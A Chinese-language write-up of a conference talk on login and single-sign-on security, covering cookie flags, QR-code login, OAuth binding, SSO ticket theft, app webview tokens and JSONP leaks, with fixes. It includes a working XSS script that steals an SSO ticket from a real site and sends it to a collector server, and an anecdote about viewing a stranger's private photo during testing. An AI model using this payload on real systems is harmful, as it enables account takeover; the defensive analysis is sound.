0x00 簡介

---

這篇是我前幾個月在CSDN開發者大會上講的賬號通行證安全相關的PPT《我的通行你的證》的文字整理版，稍微補充了點內容。因為懶一直沒時間寫，但年關將至，想到可以為老家的孩子們多掙點壓歲錢……

幾個月前，我在測百度的一個賬號體系的漏洞時，無意中進入了慈雲寺橋一甜品店的女收銀員的百度網盤，當時隨便看了兩眼，突然發現了她的一張裸照，嚇的我趕緊關了頁面。當時我就想，如果她是我最好的朋友的女朋友，她的裸照被壞人利用漏洞攻擊而洩露了，那該多不好呀

換位思考後，我閉著眼，對著裸照暗暗發誓，保護女網友，人人有責

此文比較長，建議各位讓女朋友不用再等了，讓她穿上褲子先睡

主流盜號的八十一種姿勢

• 密碼類漏洞
  ——密碼洩露、暴力破解、撞庫、密碼找回漏洞、社工庫、釣魚…
• 認證cookie被盜
  ——xss攻擊、網路洩露、中間人攻擊
• 其他漏洞
  ——二維碼登入、單點登入、第三方登入、客戶端web自動登入、繫結其他賬號登入、oauth登陸漏洞…

今天不講密碼安全，今天主要講講網際網路上常見的一些通行證相關的“其他漏洞”

0x01 先稍微講講認證cookie的安全

---

目前各大網際網路公司的網站大多使用cookie來實現對使用者的認證。如果攻擊者拿到了這個認證cookie，就可以登入了使用者的賬號了

cookie安全注意點

Httponly：防止cookie被xss偷

https：防止cookie在網路中被偷

Secure：阻止cookie在非https下傳輸，很多全站https時會漏掉

Path :區分cookie的標識，安全上作用不大，和瀏覽器同源衝突

• Httponly：防止cookie被xss偷 xss攻擊可以獲得使用者的cookie。但如果cookie加上了httponly屬性，js就無法讀取，可以保護我們的cookie不在xss攻擊中被偷走 但很多安全從業人員覺得cookie加上httponly了，xss就不算什麼漏洞了。這當然是無厘頭的，xss是標準的html/js程式碼注入漏洞，它不僅僅只是可以偷cookie，還可以做很多，下面會有很多例子…

• https：防止cookie在網路中被偷 目前主流網站的認證cookie在網際網路中都是無保護進行傳輸的，可能會在網路中被嗅探或其他方式洩露。所以建議安全級別高的網站使用全站https，並且不支援http的訪問，而且還要使用HSTS，強制把http的請求轉成https請求

• Secure：阻止cookie在非https下傳輸，很多全站https時會漏掉 即使有時候你做了全站https，但你的cookie沒有加上Secure屬性的話。網路中間人可以在第三方頁面中強制你使用http訪問做了全站https的domain，此時你的cookie同樣會在不安全網路中傳輸。如果加了secure屬性，則此cookie只在https的請求中傳輸

• Path :區分cookie的標識，安全上作用不大，和瀏覽器同源衝突 cookie還有一個path屬性，這是一個區分cookie的標識，安全上作用不大，和瀏覽器同源策略衝突。因為，路徑A下的xss雖然讀不到路徑B下的cookie，但路徑A下的xss完全可以注入程式碼進入路徑B的頁面，然後再去讀路徑B下的cookie

比較好的cookie方案

1. cookie的不可猜測性
2. httponly+HTTPS+Secure+HSTS
3. 同IP不同port，儘量不要部署多個不同的web服務，因為cookie不區分埠

0x02通行證的“其他漏洞”

---

常見的通行證相關功能

• 二維碼登入
• 單點登入
• 第三方登入
• app內嵌頁登入
• 繫結其他賬號
• 跨域傳輸認證資訊
• oauth登入
• ……

0x03 二維碼登入的安全風險

---

1. 無行為確認

使用者掃描二維碼後，系統需提示使用者檢驗二維碼的行為。若無確認，使用者掃描攻擊者的登入二維碼後，相當於給攻擊者的票授權

案例： 可以欺騙劫持進入來往使用者的帳號 WooYun: 可以欺騙劫持進入來往使用者的帳號

2. CSRF漏洞偽造授權請求

給票據授權的請求如果是http的，並且可以被攻擊者偽造。攻擊者可以偽造請求讓使用者掃描二維碼後執行，或讓使用者以其他形式對攻擊者的票據進行授權

一些二維碼的授權請求按理說應該只在app端有效，但大多案例中，此請求在web站登陸狀態下也是有效，增大了攻擊面

案例：

微博上點開我發的連結我就可登進你的淘寶支付寶和微博 WooYun: 微博上點開我發的連結我就可登進你的淘寶支付寶和微博可盜號可掛馬（poc中附若干從洞）

聊著聊著我就上了你……的微信 WooYun: 聊著聊著我就上了你……的微信（兩處都可以劫持微信登入的漏洞）

修復方案

1. 使用者掃描二維碼後，系統需提示使用者檢驗二維碼的行為，告知風險，詢問使用者是否要執行操作
2. 使用者確認後的請求攻擊者無法偽造，比如和使用者身份相關的一個校驗token
3. 二維碼的授權請求在web登陸狀態下不可用，甚至可以使用非http協議，可以減少很多的攻擊面

0x04 繫結其他賬號的安全風險

---

1. 繫結請求未做csrf防護，攻擊者可以構造惡意請求讓使用者繫結了攻擊者的賬號。這樣攻擊者登入他自己的賬號後就可以操作使用者的資源

   案例：網易某處點開我的連結就會被盜號 by 子非海綿寶寶

2. 另外繫結了越多第三方的賬號，會讓你的安全級別降低，因為你的所有賬號同時不出事的可能性降低了

修復方案

通用的防CSRF的解決方案，referrer+token

當我在談csrf或jsonp劫持的時候，曾遇到無數人告訴我referrer可以偽造。我只能說目前我還不知道在瀏覽器端偽造referrer的方法。如果你可以自己寫個程式偽造referrer，那我們倆聊的不是一個事

0x05 繫結第三方oauth賬號登陸的安全風險

---

1. 從oauth服務商那獲取到accesstoken後，在和本站賬號繫結時，未校驗state引數，導致繫結請求可以csrf。攻擊者可以用csrf估計讓你繫結他的賬號
2. 即使做了state引數的校驗。繫結的初始請求，如點選繫結按鈕發出的請求未做csrf防護
   新浪微博等某些服務商的oauth授權有如下特點，如果當前登陸的微博曾經授權過該應用，那麼就會自動繫結成功
   所以我們可以找一個新浪微博登陸的csrf漏洞，讓使用者自動登陸攻擊者的微博（新浪有此類漏洞，這裡就不詳細寫出）
   然後再讓使用者訪問繫結請求，這樣就完成了對攻擊者微博的繫結。攻擊者使用微博登陸就可以進入使用者的賬號

案例：
點我的連結我就可能會進入你的果殼賬號

關於oauth的更多安全總結，可以參考文章
OAuth 2.0安全案例回顧

0x06 認證cookie的不規範傳輸安全風險

---

認證cookie本應該只出現在http請求中，並且在瀏覽器端的儲存中加了httponly屬性，是不會被xss攻擊盜取的。但某些功能架構中，認證cookie的不規範傳輸和使用可能會導致認證cookie洩露

1. 頁面或介面資料輸出了當前使用者的認證資訊，可能被當前頁面的XSS攻擊利用
2. ssrf介面傳輸cookie給第三方

案例：

透過一糯米XSS可繞chrome並可用兩種方式拿到httponly的BDUSS（大部分非IE使用者點選後百度雲盤資料會被洩露）

微博上你點我的連結我就可xss你並可拿到httponly的cookie及其他危害

0x07 單點登入的安全風險

---

單點登陸的簡單原理

需求：如果使用者已經登陸B站，則自動登陸A站
實現：使用者訪問A站，A站把使用者跳轉到B站，B站驗證使用者已登陸，給使用者一張票，使用者拿著票去找A站，A拿著票去B那，驗證成功後放使用者進去

下文中將大量出現如下示例站點

A:http://www.t99y.com
B:`http://passport.wangzhan.com

舉例：使用者訪問http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php

B站檢驗A站是白名單域後，然後302跳轉到

http://www.t99y.com/a.php?ticket=******

然後a.php用ticket引數去B站驗證使用者合法後，再給使用者種認證cookie

偷認證資訊的大概流程如下，後面會細講。總之攻擊的目的就是，拿到使用者的ticket資訊

常見的漏洞場景

網際網路上常見的幾個單點登陸場景，通行證或第三方站給的登陸憑的證使用的方式各有不同，分別該怎麼偷

場景1、直接使用票據來做驗證

http://t99y.com/a.php?ticket=XXXXXXXXXXXXXXXX

服務端使用此ticket去sso驗證此使用者身份，然後在本域種認證cookie

偷的思路：

讓我們構造的頁面獲取到憑證後請求我們控制的伺服器上的資源，這樣referrer裡就有ticket資訊了

偷的幾種方式

1. 找能發自定義src的圖片的頁面去sso取票，帶著ticket資訊的頁面會發起圖片請求，圖片服務是我們自己的，我們可以讀到請求中的referrer，referrer中會包含ticket資訊
2. 找能發自定義src的iframe的頁面，iframe請求中的referre有ticket
3. 找一個有js跳轉漏洞的頁面去取票，跳轉目的地址是我們的服務，js的跳轉是帶上referrer的，讀取此請求的referrer，裡面包含ticket
4. 如果img和iframe的src值只允許白名單域的url，那就再找一個白名單域的302跳轉漏洞來繞過白名單，302跳轉可以傳遞上個請求的referrer
5. Xss獲取位址列資訊

示意圖如下，如下是我畫的一個chrome瀏覽器，位址列裡ticket引數會被包含到下面的一些元素的請求的referrer中

參考案例： WooYun: 微博上你點我發的連結我就可以登上你的微博（web版和app端均可兩個漏洞一併提交）

場景2、中間頁接收ticket完成認證，然後用js跳轉到我們的目標頁

http://t99y.com/login.php?ticket=XXXXXXXXXXXXXXXX&url=http://t99y.com/a.php 此時會種上認證cookie

然後頁面會使用js跳轉到 http://t99y.com/a.php
location.href=“http://t99y.com/a.php”;

例子：某繫結了微博賬號後可以自動登陸的網站

偷的幾種方式

1. 找一個有302跳轉漏洞的頁面如b.php，發起單點登陸請求，然後帶著ticket資訊的b.php會跳轉到我們的服務上。因為js的跳轉會帶referrer，然後再透過302跳轉把referrer傳給我們能控制的頁面
2. Xss獲取當前頁面referrer

場景3、中間頁接收ticket完成認證，然後用302跳轉到我們的目標頁

如下的多個302跳轉

http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php
http://t99y.com/login.php?ticket=XXXXXXXXXXXXXXXX&url=http://t99y.com/a.php
http://t99y.com/a.php

偷的方式

Xss建立iframe，種超長cookie，讓含ticket的302拒絕服務，然後使用iframe.contentWindow.location.href讀取最後的iframe的當前地址

拒絕服務還有個好處，防止某些ticket有防重放的防護

#!js
for (i = 0; i < 20; i++) {
    document.cookie = i + '=' + repeatt('X', 2000) + ';path=/auth'; } var iframe =document.createElement('iframe');
iframe.src="http://bobo.163.com/checkAuth?url=http://www.bobo.com/&";
iframe.addEventListener('load', function(){ var ntes =
iframe.contentWindow.location.href; var img1
=document.createElement('img'); img1.src = "http://127.0.0.1/163img.php?r="+encodeURIComponent(ntes); for (i = 0;
i < 20; i++) {
    document.cookie = i + '=' + repeatt('X', 1) + ';path=/auth'; } }, false); document.body.appendChild(iframe);

案例：網易使用者登陸狀態下點我的連結我就可進入其郵箱、雲筆記等服務

如上方法不適用於IE的一些版本，因為IE在打不開頁面的時候載入的是自己本地的頁面，導致錯誤頁和我們的xss頁面不同源

修復方案

由認證中心來跨域為子站設定認證cookie

單點自動登陸需要防護csrf，讓使用者不能偽造登陸請求

0x08 App內嵌頁登入的風險

---

當我們在一個app內開啟其公司產品的一些連結，會被加上認證資訊去讓使用者自動登陸

微部落格戶端、QQ客戶端、微信客戶端都曾有或現在正有此問題，一般會加上引數sid、gsid、key

• 案例：WooYun: 聊著聊著我就上了你……的微信（兩處都可以劫持微信登入的漏洞） ">聊著聊著我就上了你……的微信
• 案例：手機版QQ空間身份因素可被盜用
• 案例：之前的一個手機qq的漏洞，找一qq域下論壇發一張圖，然後把此頁發給手機qq上好友，他點選就會被盜號

偷的幾種方式

見單點登入場景一的幾種方式
使用者甚至會透過app的分享功能把認證資訊分享到郵件或朋友圈

修復方案

不要直接把認證憑證新增到webview的URL來完成認證

使用COOKIE，POST都可以

0x09 跨域從通行證獲取到的憑證

---

跨域從通行證獲取登陸ticket

形式為類似http://www.wangzhan.com/sso/getst.php?callback=jsonp

然後通行證會返回個jsonp格式的資料，裡面包含認證資訊

案例：微博上你點我發的連結我就可以登上你的微博

偷的幾種方式

• 存在jsonp劫持漏洞
• Referrer限制不嚴格，可以透過字串匹配繞過。或者支援空referrer，可以用一些技巧發出空referer請求來繞過
• Xss漏洞，去跨域請求此介面得到資料

修復方案

架構上就不該使用此種方案

app和web的介面不要混用，要保證介面的乾淨單一。我遇到過一些案例，web和app為了互相相容，而降低了本身的安全策略，或使用了不合理的架構

0x0A 主流SSO的一些問題

---

如上都是漏洞資訊，但有時候還有些架構上的小問題可能會導致出現漏洞，或者讓攻擊者的漏洞利用更方便

常見的sso的一些安全風險如下：

• 各個站的票據通用，很多直接用的就是認證cookie
• 認證Cookie設定保護不夠，httponly、secure…
• sso給子站授權的票據可重放
• sso給子站授權的票據有效期特別長
• 認證資訊傳輸未使用https
• sso未加入IP或UA等風控策略
• 攻擊者偷到票據後可輕易使用並無報警
• 票據的互動流程保護不嚴，容易被漏洞偷。（好的流程應該是由sso來跨域頒發）
• 修改密碼後認證cookie未失效
• 使用者退出登入後認證cookie未失效
• 自動登入，繫結，退出等敏感功能，無csrf防護
• 繫結了第三方賬號，降低自己的安全等級
• App和web介面混用，導致安全級別降低

案例：你windows上開著QQ點了我的連結我就進了你的qq郵箱財付通等（任意騰訊xss拿qq的clientkey）

這個案例裡除了xss漏洞，有兩個安全設計上的問題，就是上面提到的：

1. 認證Cookie保護不夠
2. 自動登入，繫結，退出等敏感功能，無csrf防護

0x0B 總結

---

網路是我家，安全靠大家。保護女網友，幫她加把鎖